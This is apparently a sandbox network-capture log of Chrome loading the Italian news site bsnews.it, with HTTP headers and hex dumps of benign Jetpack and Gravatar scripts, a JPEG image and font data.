2024-03-28 08:51:02 UTC	1369	IN	Data Raw: 31 31 35 57 63 4b 4f 4f 4b 4b 2f 2f bf 17 18 25 25 1a 1b 01 1a 19 26 26 17 16 01 25 2d 19 39 38 39 3c 35 35 21 2a 1a 45 46 4c 49 47 47 01 3f 17 18 27 22 19 19 19 19 22 26 18 17 01 01 05 19 1a 24 25 17 18 19 18 23 23 1a 19 01 0e 38 29 29 11 3c 24 24 3b 2e 26 01 ba 3f 2d 2e 25 54 04 01 11 25 01 01 01 10 0f 03 21 21 21 33 33 23 23 01 28 28 3b 02 0f 0e 03 02 34 34 3c 3b 06 03 04 15 14 27 02 01 01 12 07 08 06 06 31 31 47 30 28 28 16 c7 6f 12 05 0b 09 09 24 02 25 34 42 43 5d 12 21 0d 1b 14 13 20 0c 44 2f 3c 3b 3a 2d 1b 29 29 34 96 37 33 34 23 24 1a 19 0a 0e 28 28 56 27 20 1f 2a 38 32 32 24 24 1a 1b 0c 18 13 12 25 25 40 41 53 4b 26 17 18 01 01 16 15 28 25 19 18 18 19 25 a8 2e 18 17 01 18 19 2d 40 22 23 24 24 e5 27 16 17 19 18 23 23 1a 19 18 19 25 01 df 24 19 1a Data Ascii: 115WcKOOKK//%%&&%-989<55!EFLIGG?'""&$%##8))<$$;.&?-.%T%!!!33##((;44<;'11G0((o$%4BC]! D/<;:-))4734#$((V' 822$$%%@ASK&(%%.-@"#$$'##%$
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: 22 07 06 07 26 27 26 35 37 14 17 16 17 32 37 36 33 32 17 32 33 32 17 32 37 36 27 34 27 26 23 22 07 06 15 1f 01 16 33 32 37 36 33 32 17 16 33 32 3f 01 34 27 26 23 22 07 06 15 17 16 37 36 33 32 17 16 37 36 27 26 27 26 23 22 07 06 13 36 37 36 33 32 17 06 23 22 00 45 44 76 76 8b 8b 76 76 44 45 27 27 46 3e 57 57 64 6e 5e 5e 3d 55 30 30 a8 0c 0d 12 06 03 94 9d 9e 93 01 04 03 02 11 0d 0e 01 18 a3 ab ae a3 14 2f 06 08 10 03 06 82 8d 8f 83 04 03 0f 08 06 0b 8d 9e 9c 90 0a 31 0a 16 6f 76 73 6e 18 0b 06 06 05 09 6c 8a 83 77 13 47 26 38 38 3f 74 51 6a 77 60 01 b7 8b 76 76 44 45 45 44 76 76 8b 68 5d 5d 47 4b 2a 2a 32 32 58 48 66 65 73 93 11 0c 0d 01 01 3c 3c 01 0e 0d 10 1a 0c 41 42 0d 18 98 11 0d 02 38 39 02 0d 12 0d 08 40 40 0a 0b 94 19 09 34 31 0d 19 0e 0a 0a 05 36 Data Ascii: "&'&5727632232276'4'&#"32763232?4'&#"763276'&'&#"67632#"EDvvvvDE''F>WWdn^^=U00/1ovsnlwG&88?tQjw`vvDEEDvvh]]GK**22XHfes<<AB89@@416
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: 00 04 00 00 ff b7 03 b7 03 c0 00 03 00 07 00 0b 00 0f 00 00 01 11 25 11 01 11 21 11 01 11 25 11 01 11 21 11 01 86 fe 7a 01 86 fe 7a 03 b7 fd f9 02 07 fd f9 01 78 fe 8c 36 01 3e 01 a8 fe 89 01 42 fe 8d fe 3f 48 01 79 01 f6 fe 3b 01 7d 00 00 00 04 00 00 ff bc 03 f7 03 c0 00 27 00 32 00 3a 00 43 00 00 01 22 07 0e 01 07 06 07 33 15 26 06 17 1b 01 27 2e 01 07 37 05 15 0e 01 17 13 37 36 26 27 26 36 37 26 27 2e 01 27 26 23 01 03 3e 01 37 36 37 3e 01 27 26 25 06 16 17 1e 01 17 03 05 03 16 17 16 36 37 36 37 02 02 4b 48 47 7d 32 32 21 f4 38 0a 08 a0 76 37 0e 1a 3c 01 01 66 20 36 14 90 4f 14 19 17 0d 17 39 2c 2f 2f 63 33 32 32 01 e6 e8 30 66 3c 14 0a 09 03 05 05 fc 1b 11 0b 2a 37 5e 3d f6 01 fe ac 2e 2a 2b 52 27 27 25 03 b7 16 15 50 39 39 46 1b 07 30 1f fe 70 01 13 Data Ascii: %!%!zzx6>B?Hy;}'2:C"3&'.776&'&67&'.'&#>767>'&%6767KHG}22!8v7<f 6O9,//c3220f<7^=.+R''%P99F0p
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: c0 00 18 00 51 00 00 13 34 37 36 37 36 33 32 17 16 17 16 15 14 07 06 07 06 23 22 27 26 27 26 35 33 14 17 16 17 16 37 36 37 36 27 26 35 26 37 36 17 16 17 16 17 16 17 16 17 16 17 16 37 36 37 36 37 36 27 34 27 26 27 26 27 26 27 26 23 22 07 06 07 06 07 06 07 06 07 06 17 00 45 44 76 76 8b 8b 76 76 44 45 45 44 76 76 8b 8b 76 76 44 45 84 25 05 0c 2b 2c 2a 12 19 0f 02 03 03 01 0c 27 29 2f 3a 2e 2b 22 30 2a 30 1d 14 13 0b 0a 05 05 01 0c 03 05 0f 1b 36 55 55 61 44 3c 52 3d 3e 1d 01 04 03 02 0c 01 01 b7 8b 76 76 44 45 45 44 76 76 8b 8b 76 76 45 44 44 45 76 76 8b 43 0c 02 02 01 2a 25 37 4f 7e 0c 05 06 03 04 05 0a 13 16 32 28 33 28 43 3a 14 0b 03 03 12 11 15 14 1a 31 31 0c 11 2c 2a 51 2e 2e 17 1c 3f 3e 53 05 0a 09 05 33 2f 00 00 00 00 02 00 00 ff c0 03 b7 03 c0 00 09 Data Ascii: Q4767632#"'&'&537676'&5&76767676'4'&'&'&'&#"EDvvvvDEEDvvvvDE%+,')/:.+"006UUaD<R=>vvDEEDvvvvEDDEvvC%7O~2(3(C:11,Q..?>S3/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49772	192.0.77.37	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:01 UTC	537	OUT	GET /p/jetpack/13.2.2/modules/wpgroho.js HTTP/1.1 Host: c0.wp.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:02 UTC	533	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:01 GMT Content-Type: application/javascript Content-Length: 1953 Connection: close Vary: Accept-Encoding Last-Modified: Tue, 28 Jul 2020 17:06:48 GMT Alt-Svc: h3=":443"; ma=86400 Expires: Fri, 28 Mar 2025 08:51:01 GMT Cache-Control: max-age=31536000 Alt-Svc: h3=":443"; ma=86400 Strict-Transport-Security: max-age=15552000 X-nc: HIT dca 2 Timing-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-03-28 08:51:02 UTC	836	IN	Data Raw: 2f 2a 20 67 6c 6f 62 61 6c 20 57 50 47 72 6f 48 6f 3a 74 72 75 65 2c 20 47 72 61 76 61 74 61 72 20 2a 2f 0a 28 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 09 76 61 72 20 65 78 74 65 6e 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 20 6f 75 74 20 29 20 7b 0a 09 09 6f 75 74 20 3d 20 6f 75 74 20 7c 7c 20 7b 7d 3b 0a 0a 09 09 66 6f 72 20 28 20 76 61 72 20 69 20 3d 20 31 3b 20 69 20 3c 20 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 20 69 2b 2b 20 29 20 7b 0a 09 09 09 69 66 20 28 20 21 20 61 72 67 75 6d 65 6e 74 73 5b 20 69 20 5d 20 29 20 63 6f 6e 74 69 6e 75 65 3b 0a 0a 09 09 09 66 6f 72 20 28 20 76 61 72 20 6b 65 79 20 69 6e 20 61 72 67 75 6d 65 6e 74 73 5b 20 69 20 5d 20 29 20 7b 0a 09 09 09 09 69 66 20 28 20 61 72 67 75 6d 65 6e 74 73 5b 20 69 20 5d 2e Data Ascii: /* global WPGroHo:true, Gravatar */( function () {var extend = function ( out ) {out = out \|\| {};for ( var i = 1; i < arguments.length; i++ ) {if ( ! arguments[ i ] ) continue;for ( var key in arguments[ i ] ) {if ( arguments[ i ].
2024-03-28 08:51:02 UTC	1117	IN	Data Raw: 2e 64 61 74 61 5b 20 68 61 73 68 20 5d 2c 20 68 61 73 68 2c 20 69 64 20 29 3b 0a 09 09 09 7d 2c 0a 09 09 09 61 70 70 65 6e 64 50 72 6f 66 69 6c 65 44 61 74 61 3a 20 66 75 6e 63 74 69 6f 6e 20 28 20 64 61 74 61 2c 20 68 61 73 68 2c 20 69 64 20 29 20 7b 0a 09 09 09 09 66 6f 72 20 28 20 76 61 72 20 6b 65 79 20 69 6e 20 64 61 74 61 20 29 20 7b 0a 09 09 09 09 09 69 66 20 28 20 27 66 75 6e 63 74 69 6f 6e 27 20 3d 3d 3d 20 74 79 70 65 6f 66 20 57 50 47 72 6f 48 6f 2e 72 65 6e 64 65 72 65 72 73 5b 20 6b 65 79 20 5d 20 29 20 7b 0a 09 09 09 09 09 09 72 65 74 75 72 6e 20 57 50 47 72 6f 48 6f 2e 72 65 6e 64 65 72 65 72 73 5b 20 6b 65 79 20 5d 28 20 64 61 74 61 5b 20 6b 65 79 20 5d 2c 20 68 61 73 68 2c 20 69 64 2c 20 6b 65 79 20 29 3b 0a 09 09 09 09 09 7d 0a 0a 09 09 Data Ascii: .data[ hash ], hash, id );},appendProfileData: function ( data, hash, id ) {for ( var key in data ) {if ( 'function' === typeof WPGroHo.renderers[ key ] ) {return WPGroHo.renderers[ key ]( data[ key ], hash, id, key );}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49769	172.67.169.22	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:01 UTC	683	OUT	GET /wp-content/uploads/2017/04/quadrato-icon.jpg HTTP/1.1 Host: bsnews.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:02 UTC	703	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:02 GMT Content-Type: image/jpeg Content-Length: 18923 Connection: close last-modified: Mon, 13 Dec 2021 17:21:12 GMT etag: "61b78108-49eb" x-powered-by: PleskLin Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 3498 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dDfsJYhnE8vE%2BNk%2BX81uKWHeN1%2FHMf%2FOj82lQ1DNZXytvKzOVnG4aE4nXzcJcLfWEvzZRbs1eflWVL0evU7hvhtoJsNgytrsKzcyvY%2F9hTZXHPP8HYXhsca2KwU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 86b66041a8e98263-IAD alt-svc: h3=":443"; ma=86400
2024-03-28 08:51:02 UTC	666	IN	Data Raw: ff d8 ff e1 00 18 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 00 00 00 00 00 00 00 00 ff ec 00 11 44 75 63 6b 79 00 01 00 04 00 00 00 32 00 00 ff ee 00 0e 41 64 6f 62 65 00 64 c0 00 00 00 01 ff db 00 84 00 08 06 06 06 06 06 08 06 06 08 0c 08 07 08 0c 0e 0a 08 08 0a 0e 10 0d 0d 0e 0d 0d 10 11 0c 0e 0d 0d 0e 0c 11 0f 12 13 14 13 12 0f 18 18 1a 1a 18 18 23 22 22 22 23 27 27 27 27 27 27 27 27 27 27 01 09 08 08 09 0a 09 0b 09 09 0b 0e 0b 0d 0b 0e 11 0e 0e 0e 0e 11 13 0d 0d 0e 0d 0d 13 18 11 0f 0f 0f 0f 11 18 16 17 14 14 14 17 16 1a 1a 18 18 1a 1a 21 21 20 21 21 27 27 27 27 27 27 27 27 27 27 ff c0 00 11 08 01 49 01 49 03 01 22 00 02 11 01 03 11 01 ff c4 00 ca 00 01 00 02 02 03 01 00 00 00 00 00 00 00 00 00 00 00 06 07 05 08 01 03 04 02 01 01 00 02 03 01 01 00 00 Data Ascii: ExifII*Ducky2Adobed#"""#''''''''''!! !!''''''''''II"
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: a3 eb bc 58 bf cd 54 a2 27 59 97 48 e2 4f a0 6c fe 83 bc b2 ae be ba 32 f7 a3 eb bc 58 bf cd 4e ba 32 f7 fb 0a ef 16 2f f3 55 28 89 d6 65 d2 38 93 e8 1b 3f a0 ff 00 2c ab b9 9b e7 cb 24 fc e5 25 73 39 79 b8 cf b5 2a c8 52 ef 5b 26 d4 b8 36 4a a9 69 71 d4 67 85 e0 77 58 1c 15 02 88 2e a5 dc 3c 0b 17 76 7a c0 8c 3d 63 77 9d df 05 6d 1d b6 ff 00 64 bb e1 e6 cb 85 3d 53 be 04 52 35 ce d5 8e 96 03 b5 ec 2c 92 d4 a0 36 5c 1e df 05 e0 e2 d7 b7 10 e0 78 c1 0a 5d 61 de 46 67 b1 b9 ac 92 a0 dc a9 01 1b 54 f5 64 b9 c0 7e 64 de fc 76 f6 82 da db b1 91 ed a6 e8 ef 2a eb 9e cd 3d a0 ba da 50 fa 78 af 1a a7 81 c3 0e 45 b0 e8 a3 99 5b 38 d9 f3 54 25 d4 2f 31 d5 46 31 a8 a2 97 01 2b 39 46 1a 1c df ce 1e c2 91 a9 4d 70 70 ab 4d 41 5c fc b1 49 13 cc 72 b4 b1 cd ca 0e 54 44 Data Ascii: XT'YHOl2XN2/U(e8?,$%s9yR[&6JiqgwX.<vz=cwmd=SR5,6\x]aFgTd~dv=PxE[8T%/1F1+9FMppMA\IrTD
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: b7 c3 c3 ee d9 e6 84 44 45 e2 dc ae 9d dd e5 5c b7 75 ca 54 55 b7 1b 65 3d 55 4c 8e 98 49 34 8c 05 ce d9 95 ed 18 9e c0 52 9f e8 3c 9b e8 4a 5e 8c 2c 7e eb 3d 48 b7 7c 6a 8f b7 91 4c d5 94 6c 61 63 4e a8 c8 33 2e 0e fe e6 e1 b7 97 2d 6c d2 00 25 78 00 3d c0 0e 71 dd 51 cf e8 3c 9b e8 4a 5e 8c 27 f4 1e 4d f4 25 2f 46 14 8d 16 7e ad 9d 16 f1 28 bd 6e e7 db cb e5 bb be a3 9f d0 79 37 d0 94 9d 18 5d 52 6e ef 25 4b 8e d5 9a 01 8f c0 db 67 ea b8 29 42 2f 3d 5b 3a 2d e2 5e 8b cb a1 92 79 47 eb 77 7d 40 6b 77 45 94 aa 1a ef ba b6 a6 89 c4 78 26 19 8b 9a 0f c5 9b 9c 55 de 6c dd c5 d7 2c 42 ea f8 64 17 0b 6b 7f bc 99 8c d8 92 20 7e 92 30 4e 2d e5 07 b4 b6 09 7c 4d 14 73 c4 f8 65 68 7c 72 34 b1 ec 3a 8b 5c 30 20 ac 1f 6f 1b 86 03 54 e9 0a 65 ae da bd 85 e0 be 47 4c Data Ascii: DE\uTUe=ULI4R<J^,~=H\|jLlacN3.-l%x=qQ<J^'M%/F~(ny7]Rn%Kg)B/=[:-^yGw}@kwEx&Ul,Bdk ~0N-\|Mseh\|r4:\0 oTeGL
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: b8 45 a4 61 fe a2 2e 1e da d8 64 4e a9 1e 97 77 3b c9 f7 25 ef 42 1f 25 de 92 f0 59 a1 9e 9a d3 6f a7 aa 1b 35 10 d3 43 1c cd 07 1c 1e c8 da d7 69 1c a1 7b d1 14 90 28 28 a9 1c ed 67 17 1f 18 93 c6 88 88 8b c4 44 44 45 ac d9 cf d6 eb df e3 24 f7 16 0d 67 33 9f ad d7 bf c6 49 ee 2c 1a a9 77 84 ed f3 ca be 8f 6d f0 f0 fb b6 79 a1 11 11 78 b7 2b 67 23 6f 03 2d 58 32 cd 25 aa e5 34 cd aa 85 d2 97 b5 90 bd c3 07 ca f7 8f 09 a3 0d 4e 52 3e b6 b2 67 d3 d4 7f 0f 27 79 50 68 b7 0b 99 00 00 53 01 4c 8a a2 6d 83 67 2c af 95 e6 4d 69 1c 5c 68 e0 05 5c 6a 73 2b f3 ad ac 99 f4 f5 1f c3 c9 de 4e b6 b2 67 d3 d4 7f 0f 27 79 50 68 bd eb 52 6e 71 2c 3e dd b1 d3 2f 94 3d 15 7e 75 b5 93 3e 9e 7f e1 e4 ef 2f 97 ef 73 27 01 e0 cb 50 e3 c4 29 df ee e0 a8 54 4e b5 26 e7 12 7d bb Data Ascii: Ea.dNw;%B%Yo5Ci{((gDDE$g3I,wmyx+g#o-X2%4NR>g'yPhSLmg,Mi\h\js+Ng'yPhRnq,>/=~u>/s'P)TN&}
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: b8 b4 71 49 1e d3 7d 95 8a 0e 6b b4 b4 82 39 0a d2 41 06 84 51 5c b1 ec 91 ba d1 b9 af 07 3b 4e b0 e3 0b 94 44 5e 2c 91 11 11 11 11 11 10 e0 75 e9 0b 2d 64 cc f7 ec ba f6 9b 4d 63 e2 88 1c 5d 4c ef 9c 81 c7 87 18 9d a0 7e 8e 0b 12 8b d0 48 c4 1a 15 8b e3 64 8d 2c 91 a1 ed 39 43 80 70 ee ab cb 2a 6f 4e db 79 7c 74 17 96 0b 75 c1 fe 0b 1f 89 34 f2 b8 f0 31 ee d2 c2 78 9d dd 56 08 38 ad 4c 20 11 81 d2 38 55 ab bb 6d e0 48 d9 61 cb 97 c9 8b da f2 19 6e ab 90 e2 e0 ee 08 25 71 d7 f9 87 b5 c4 a5 c3 73 52 1b 26 53 90 f7 d7 31 b5 76 18 8d a6 e2 d0 1d 56 8a be 3c b4 19 cb 4e 5e 05 70 22 f9 6f 1a fa 52 d7 36 88 88 88 88 88 88 b5 9b 39 fa dd 7b fc 64 9e e2 c1 ac e6 73 f5 ba f7 f8 c9 3d c5 83 55 2e f0 9d be 79 57 d1 ed be 1e 1f 76 cf 34 22 22 2f 16 e5 7a ee d2 cf 69 Data Ascii: qI}k9AQ\;ND^,u-dMc]L~Hd,9Cp*oNy\|tu41xV8L 8UmHan%qsR&S1vV<N^p"oR69{ds=U.yWv4""/zi
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: 7d ac bf eb e8 ad 8e eb 0b 25 fa 66 0e eb bc 95 db 4d 9e 72 9d 6d 4c 54 94 b7 58 65 a8 9d c2 38 a3 69 38 b9 ce d0 00 c4 2d 6c 5d f4 55 6e b7 d7 52 57 b3 df 52 4d 1c ed c3 ea de 1e 7d a4 17 6f ae 20 2c 5d d9 ab 6d 57 6a cb 25 68 69 5d 5a 57 36 65 b5 a0 ae 57 4d 34 d1 54 c3 15 4c 27 6a 39 98 d9 23 77 1b 5e 36 81 ee 2e e5 39 72 54 23 03 94 22 22 22 22 22 22 22 e1 c0 16 90 ed 20 8c 08 3c 4b 94 3a 91 15 05 bc cc a9 06 5e ba 45 5b 6f 67 37 6f b8 ed 16 c2 34 36 29 9b a5 ec 68 1a 9a e0 71 03 b3 c8 a0 ea eb df 41 8f fa 7a 84 1c 39 cf be b3 63 b1 cd 49 b4 a9 45 5b 3b 43 64 20 60 32 f1 ae ef 63 4e f9 ac 63 7c 84 b9 c2 ac a9 ca 43 70 08 88 8b 52 b2 52 dd d9 4d cc e7 7b 76 27 01 2b 6a 23 23 b3 13 9c 3f 55 6c 42 d7 3d db 42 66 ce f6 91 ab 9b e7 a4 3d 86 c2 fe fa d8 c5 Data Ascii: }%fMrmLTXe8i8-l]UnRWRM}o ,]mWj%hi]ZW6eWM4TL'j9#w^6.9rT#""""""" <K:^E[og7o46)hqAz9cIE[;Cd `2cNc\|CpRRM{v'+j##?UlB=Bf=
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: 7e 01 65 2d 94 14 b6 aa 1a 7b 75 0b 39 ba 6a 66 08 e2 67 20 e1 27 84 9d 65 7b 11 15 8a e2 09 2e 25 ce 35 24 d4 93 9c a2 e0 ea 5c a2 2f 14 4f 3e 65 41 9a 6c ce 8a 0c 05 c6 97 19 68 5e ed 00 b8 8c 1d 1b b9 1e 34 76 70 2b 5e 24 8e 48 a4 7c 53 35 d1 cb 1b 8b 25 8d e3 07 35 ed 38 39 ae 1c 60 f0 2d b2 76 a2 ab cc ff 00 bb c6 df f6 ae f6 76 b6 2b bb 46 12 c6 7c 16 54 b4 6a 0e d3 e0 bd b8 78 2e e1 d4 78 c4 6b 88 4b b9 ed cb 9c 69 57 db 13 6a b6 dc f5 6b 83 48 dc 6a d7 74 1c 73 1f f1 3d c5 47 22 ec 9e 09 e9 67 92 9a aa 27 43 51 0b b6 25 8a 46 ec bd ae e2 23 83 dd 5d 6a 0a eb c1 04 02 31 05 11 11 11 73 13 e4 81 fc e4 12 3a 19 3e 1c 4e 2c 3d d6 10 b2 b4 f9 ab 33 d2 8d 98 2f 55 8d 6f c1 33 39 e3 ff 00 c9 b4 b1 28 bd 04 8c 84 8d e5 8b e3 8d fe 1b 1a ef cc 03 b9 56 74 Data Ascii: ~e-{u9jfg 'e{.%5$\/O>eAlh^4vp+^$H\|S5%589`-vv+F\|Tjx.xkKiWjkHjts=G"g'CQ%F#]j1s:>N,=3/Uo39(Vt
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: 92 4e 24 9c 4a 22 22 2f 11 11 11 11 61 f3 4d c2 aa d5 62 ab af a3 2d 6d 44 3c de c1 78 da 1e 14 ac 61 c4 76 1c b3 0a 2d bc 69 df 4f 93 2e 53 47 86 db 79 8c 31 18 8d 35 11 0d 4b 17 9a 35 c7 40 25 78 61 96 70 60 80 86 c9 28 d4 8c 93 40 1e fe 6b 49 39 b1 50 9e b0 73 3f d3 41 d0 8f 29 3a c1 cc ff 00 4d 07 42 3c a5 5d 79 ea b7 ea fc 40 9e 7a ad fa bf 10 28 7d 60 69 72 d3 f6 7f 69 fe 6a 1f ee 7f a0 ac 5e b0 73 3f d3 41 d0 8f 29 3a c1 cc ff 00 4d 07 42 3c a5 5d 79 ea b7 ea fc 40 9e 7a ad fa bf 10 27 58 1a 5c 9f 67 f6 9f e6 a1 fe e7 fa 0a c5 eb 07 33 fd 34 1d 08 f2 93 ac 1c cf f4 d0 74 23 ca 55 d7 9e ab 7e af c4 09 e7 aa df ab f1 02 75 81 a5 c9 f6 7f 69 fe 6a 1f ee 7f a0 ac 5e b0 73 3f d3 41 d0 8f 29 3a c1 cc ff 00 4d 07 42 3c a5 5d 79 ea b7 ea fc 40 9e 7a ad fa Data Ascii: N$J""/aMb-mD<xav-iO.SGy15K5@%xap`(@kI9Ps?A):MB<]y@z(}`irij^s?A):MB<]y@z'X\g34t#U~uij^s?A):MB<]y@z
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: 2a 2b db 53 0c 87 92 e9 b3 83 ae 02 a6 aa 5a 5f b9 73 5b 26 10 d3 b5 ce ed 9d 3b 60 ea d8 50 f5 6c 6e 47 df df 7b 34 de d4 ca 2c 2d 0e 91 ad 22 a0 d7 91 74 7b 56 69 21 b1 9a 58 9d aa f6 ea d0 8c d5 78 07 2e e2 f6 75 29 6c f4 b5 57 89 17 79 3a 94 b6 7a 5a ab c4 8b bc ad 14 53 ba bc 5d 15 c9 7d 67 68 fc c1 e2 6f 79 55 dd 4a 5b 3d 2d 55 e2 45 de 4e a5 2d 9e 96 aa f1 22 ef 2b 45 13 ab c5 d1 4f ac ed 1f 98 3c 4d ef 2a bb a9 4b 67 a5 aa bc 48 bb cb 8e a5 2d 9e 96 aa f1 22 ef 2b 49 0a 75 78 ba 29 f5 9d a3 f3 07 89 bd e5 ab 99 86 d8 cb 35 f2 be d3 0c 8e 95 94 92 f3 6c 95 e0 07 3b c1 69 c5 db 3d 95 3d cb 9b ae b4 e6 0b 1d 0d e1 97 3a 88 cd 54 61 cf 8d ad 8c 86 bc 12 d7 b0 68 e0 70 2a 21 9e fd 72 bd 7e 23 fb 0d 56 3e e6 2e 7c f5 aa be d2 f7 62 ea 39 c4 d1 82 74 f3 Data Ascii: +SZ_s[&;`PlnG{4,-"t{Vi!Xx.u)lWy:zZS]}ghoyUJ[=-UEN-"+EO<MKgH-"+Iux)5l;i==:Tahp*!r~#V>.\|b9t
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: 98 73 8e 50 b5 59 64 f2 e7 ac 76 6f c7 53 7d ab 57 4d de d7 55 65 b9 55 5a 6b 3f bf a5 79 63 9d 86 01 e3 df 32 46 f2 3d a7 15 dd 97 3d 63 b3 7e 3a 9b ed 5a ab 86 0e 00 e6 2b b7 91 cd 7c 0f 7b 4d 43 a3 71 04 67 05 b8 15 b4 4a 01 be 1f 54 59 f8 c8 3f b4 a7 ea 01 be 1f 54 59 f8 c8 3f b4 ac 67 fe 27 ef 2e 13 65 fc 7d b7 bc 6a a2 95 b1 b9 1f 7f 7d ec d3 7b 53 2a 9d 5b 1b 91 f7 f7 de cd 37 b5 32 85 6f fc ad e1 e4 5d 6e db ff 00 d6 cf fa 3f ec 6a b7 4e a5 47 ef 7e a6 aa 1c d1 4c c8 2a 25 89 a6 89 84 b6 39 1c c1 8f 3b 26 9f 04 85 78 2a 33 7c 4d 79 cd 34 a5 ac 73 bf f4 59 ef 5a 4f f8 b2 f1 29 57 5f c7 c2 17 3b d9 f0 0d f8 ae 3f b6 e5 05 fb f5 7f fb ca 8e 9a 4f 29 3e fd 5f fe f2 a3 a6 93 ca 5d 3b 12 fd 14 9e 23 bb c9 b1 2f d1 49 e2 3b bc a0 2e cf 55 9a 07 71 77 7d Data Ascii: sPYdvoS}WMUeUZk?yc2F==c~:Z+\|{MCqgJTY?TY?g'.e}j}{S[72o]n?jNG~L%9;&x*3\|My4sYZO)W_;?O)>_];#/I;.Uqw}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49770	192.0.73.2	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:01 UTC	538	OUT	GET /js/gprofiles.js?ver=202413 HTTP/1.1 Host: secure.gravatar.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:02 UTC	439	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:01 GMT Content-Type: application/javascript Content-Length: 13070 Connection: close Vary: Accept-Encoding Last-Modified: Mon, 18 Mar 2024 13:46:37 GMT ETag: "65f845bd-330e" Alt-Svc: h3=":443"; ma=86400 Strict-Transport-Security: max-age=31536000; includeSubdomains; preload Expires: Thu, 04 Apr 2024 08:51:01 GMT Cache-Control: max-age=604800 Accept-Ranges: bytes
2024-03-28 08:51:02 UTC	930	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 74 28 72 29 7b 72 65 74 75 72 6e 20 74 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 22 73 79 6d 62 6f 6c 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 3f 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 74 7d 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 74 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 26 26 74 21 3d 3d 53 79 6d 62 6f 6c 2e 70 72 6f 74 6f 74 79 70 65 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 74 7d 2c 74 28 72 29 7d Data Ascii: !function(){"use strict";function t(r){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t},t(r)}
